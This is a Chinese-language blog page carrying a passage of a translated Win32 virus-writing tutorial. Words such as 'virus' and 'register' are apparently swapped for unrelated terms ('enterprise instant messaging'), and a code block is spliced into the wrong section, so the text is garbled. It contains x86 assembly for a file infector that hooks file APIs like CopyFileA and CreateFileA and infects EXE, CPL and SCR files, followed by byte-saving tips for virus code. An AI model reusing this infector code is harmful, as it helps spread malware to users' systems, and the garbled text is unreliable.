简单的企业即时通讯

简单的企业即时通讯

简单的企业即时通讯

这个简单的东西最初是由Demogorgon/PS为了隐藏通讯而使用的。但是正如我要显示给你看的,它可以节约一些字节。例如,让我们想象一个如果有一个错误就会设置进位企业(carry flag)而如果没有错误就清除的例程。

noerr: clc ; 1 byte
jmp exit ; 2 bytes
一些可以用这个一般地例程来hook的API如下:
MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA, WinExec, CreateFileA
CreateProcessA, GetFileAttributesA, SetFileAttributesA, _lopen, MoveFileExA
CopyFileExA, OpenFile。

%最后的话%
~~~~~~~~~~
如果还有什么不清楚的地方,发email给我。我将尽可能地用一个简单的per-process驻留的企业即时通讯来阐述它,但是我编写的唯一一个per-process企业即时通讯太复杂了,而且比这有更多的特色,所以对你来说还是看不明白:)

【通讯 优化】
~~~~~~~~~~~~~
Ehrm...Super应该做这个而不是我,因为我是他的学生,我就在这里写一下我在通讯编程世界里所学到的东西。我将在这一章里讨论本地优化而不是结构优化,因为这个取决于于你和你的风格(例如,我个人非常热衷于堆栈和delta offset计算,正如你在我的通讯里可以看到的,特别是在Win95.Garaipena里)。这篇文章充满了我自己的观点和在Valencian(瓦伦西亚)会议上Super给我的建议。他可能在企业即时通讯编写领域里优化得最后得人了。我没有撒谎。这里我不讨论象他那样怎么进行最大优化了。我只是想要使你看到在编写通讯程序的时候一些最明显的优化。我就不对非常明显的优化花招注释了,已经在我的《MS-DOS企业即时通讯编写教程》里解释了。

%检测一个企业是否为0%
~~~~~~~~~~~~~~~~~~~~~~~
我很讨厌看到,特别在通讯程序员中,这些相同的方法,这个使得我非常慢而且非常痛苦。不,不,我得大脑不能吸收CMP EAX,0的主意,例如。OK,让我们看看为什么:

cmp eax,00000000h ; 5 bytes
jz bribriblibli ; 2 bytes (if jz is short)

嗨,我知道生活就是就是狗屎,而且你正在把许多通讯浪费在一些狗屎比较上。OK,让我们看看怎么来解决这个问题,利用一个通讯来做同样的事情,但是用更少的字节。
jmp [eax+_MoveFileA] ; Pass control 2 original API

HookCopyFileA:
call DoHookStuff ; Handle this call
jmp [eax+_CopyFileA] ; Pass control 2 original API

HookDeleteFileA:
call DoHookStuff ; Handle this call
jmp [eax+_DeleteFileA] ; Pass control 2 original API

HookCreateFileA:
call DoHookStuff ; Handle this call
jmp [eax+_CreateFileA] ; Pass control 2 original API

; The generic hooker!!

DoHookStuff:
pushad ; Push all registers
pushfd ; Push all flags
call GetDeltaOffset ; Get delta offset in EBP
mov edx,[esp+2Ch] ; Get filename to infect
mov esi,edx ; ESI = EDX = file to check
reach_dot:
lodsb ; Get character
or al,al ; Find NULL? Shit...
jz ErrorDoHookStuff ; Go away then
cmp al,"." ; Dot found? Interesting...
jnz reach_dot ; If not, loop again
dec esi ; Fix it
lodsd ; Put extension in EAX
or eax,20202020h ; Make string lowercase
cmp eax,"exe." ; Is it an EXE? Infect!!!
jz InfectWithHookStuff
cmp eax,"lpc." ; Is it a CPL? Infect!!!
jz InfectWithHookStuff
cmp eax,"rcs." ; Is is a SCR? Infect!!!
jnz ErrorDoHookStuff
InfectWithHookStuff:
xchg edi,edx ; EDI = Filename to infect
call InfectEDI ; Infect file!! ;)
ErrorDoHookStuff:
popfd ; Preserve all as if nothing
popad ; happened :)
push ebp
call GetDeltaOffset ; Get delta offset
xchg eax,ebp ; Put delta offset in EAX
pop ebp
ret

;---------到这里为止剪切-------------------------------------------------------------
or eax,eax ; 2 bytes
jz bribriblibli ; 2 bytes (if jz is short)

或者等价的(但更安全!):

test eax,eax ; 2 bytes
jz bribriblibli ; 2 bytes (if jz is short)

而且还有一个甚至更优化的方法来做这个,如果对EAX的内容不是关心的话(在我打算放到这里之后,EAX的内容将在ECX中完成)。下面你得到:

xchg eax,ecx ; 1 byte
jecxz bribriblibli ; 2 bytes (only if short)

你看到了吗?对"我不优化因为我失去了稳定性"没有托词,因为利用这个,你将不会失去除了通讯的字节数的任何东西;)嗨,我使得一个7字节的例程减到了3字节...嗨?对此你还有什么好说的?哈哈哈。

%检查一个企业的值是否为-1%

因为许多Ring-3 API会返回你一个-1(0FFFFFFFFh)值,如果函数失败的话,而且当你比较它是否失败的时候,你必须对那个值进行比较。但是和以前一样有同样的问题,许多人通过使用CMP EAX,0FFFFFFFFh来做这个,而且它可以更优化...

cmp eax,0FFFFFFFFh ; 5 bytes
jz insumision ; 2 bytes (if short)

让我们这么做来使它更优化:

inc eax ; 1 byte
jz insumision ; 2 bytes
dec eax ; 1 byte

嗨,可能它占了更多的行,但是占了更少的字节(4比7)。

%使得一个企业为-1%
~~~~~~~~~~~~~~~~~~~~
这是一个几乎所有的初学企业即时通讯编写者面对的问题:

mov eax,-1 ; 5 bytes

你难道没有意识到你的选择很糟糕?你只要一根神经吗?该死,用一个更优化的方法来把它置-1非常简单:

xor eax,eax ; 2 bytes
dec eax ; 1 byte

你看到了吗?它不难!

%清除一个32bit企业并对它的LSW赋值%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
最明显的例子是所有的企业即时通讯在把PE文件的节的个数装载到AX中(因为这个值在PE头中占一个word)。好了,让我们看看大多数企业即时通讯编写者所做的:

xor eax,eax ; 2 bytes
mov ax,word ptr [esi+6] ; 4 bytes

或者这样:

mov ax,word ptr [esi+6] ; 4 bytes
cwde ; 1 byte

我还在想为什么所有的企业即时通讯编写者还用这个"老"公式呢,特别地是在你有一个386+指令使得我们避免在把word放到AX中之前把企业清0。这个指令是MOVZX。

movzx eax,word ptr [esi+6] ; 4 bytes

嗨,我们避免了一个2字节的指令。Cool,哈?

%调用一个存储在一个变量中的地址%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
呵呵,这是一些企业即时通讯编写者所做的另外一件事,使我快疯了,放声大哭。让我提醒你记住:

mov eax,dword ptr [ebp+ApiAddress] ; 6 bytes
call eax ; 2 bytes

我们可以直接调用一个地址...它节约了字节而且不用其它的任何可以用来做其它事情的企业。

call dword ptr [ebp+ApiAddress] ; 6 bytes

而且,我节约了一个没有用的,不需要的占了两个字节的指令,而且我们做的是完全一样的事情。

%关于push的趣事%
~~~~~~~~~~~~~~~~
几乎和上面一样,但是是push。让我们看看什么该做什么不该做:

mov eax,dword ptr [ebp+variable] ; 6 bytes
push eax ; 1 byte

我们可以少用一个字节来做这个。看:

push dword ptr [ebp+variable] ; 6 bytes

Cool,哈?;)好了,如果我们需要push很多次(如果这个值很大,如果你把那个值push 2+次就更优化,而如果这个值很小把那个值push 3+次)同样的变量把它先放到一个企业中,然后push企业将更优化。例如,如果我们需要把0 push 3次,把一个企业和它本身xor,然后push这个企业更优化。让我们看:

push 00000000h ; 2 bytes
push 00000000h ; 2 bytes
push 00000000h ; 2 bytes

让我们看看怎么来优化它:

xor eax,eax ; 2 bytes
push eax ; 1 byte
push eax ; 1 byte
push eax ; 1 byte

同样的在使用SEH的时候,当我们需要push fs:[0]之类的时候。让我们看看怎样来优化:

push dword ptr fs:[00000000h] ; 6 bytes ; 666? Mwahahahaha!
mov fs:[00000000h],esp ; 6 bytes
[...]
pop dword ptr fs:[00000000h] ; 6 bytes

代之我们应该这么做:

xor eax,eax ; 2 bytes
push dword ptr fs:[eax] ; 3 bytes
mov fs:[eax],esp ; 3 bytes
[...]
pop dword ptr fs:[eax] ; 3 bytes

呵呵,看起来有点傻,但是我们少用了7个字节!哇!!!

%获取一个ASCII字符串的结尾%
~~~~~~~~~~~~~~~~~~~~~~~~~~~
这个非常有用,特别在我们的API搜索引擎中。而且毫无疑问,它应该在所有的企业即时通讯中比传统的方法更优化。让我们看看:

lea edi,[ebp+ASCIIz_variable] ; 6 bytes
@@1: cmp byte ptr [edi],00h ; 3 bytes
inc edi ; 1 byte
jnz @@1 ; 2 bytes
inc edi ; 1 byte

这个相同的通讯可以非常简化,如果你用这个方法来编写它:

lea edi,[ebp+ASCIIz_variable] ; 6 bytes
xor al,al ; 2 bytes
@@1: scasb ; 1 byte
jnz @@1 ; 2 bytes

呵呵呵。有用,简单,好看。你还需要什么呢?;)

%关于乘法%
~~~~~~~~~~
例如,当要从通讯中得到最后一节的时候,这个通讯大多数是这么用的(我们在EAX中是节数-1):

mov ecx,28h ; 5 bytes

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值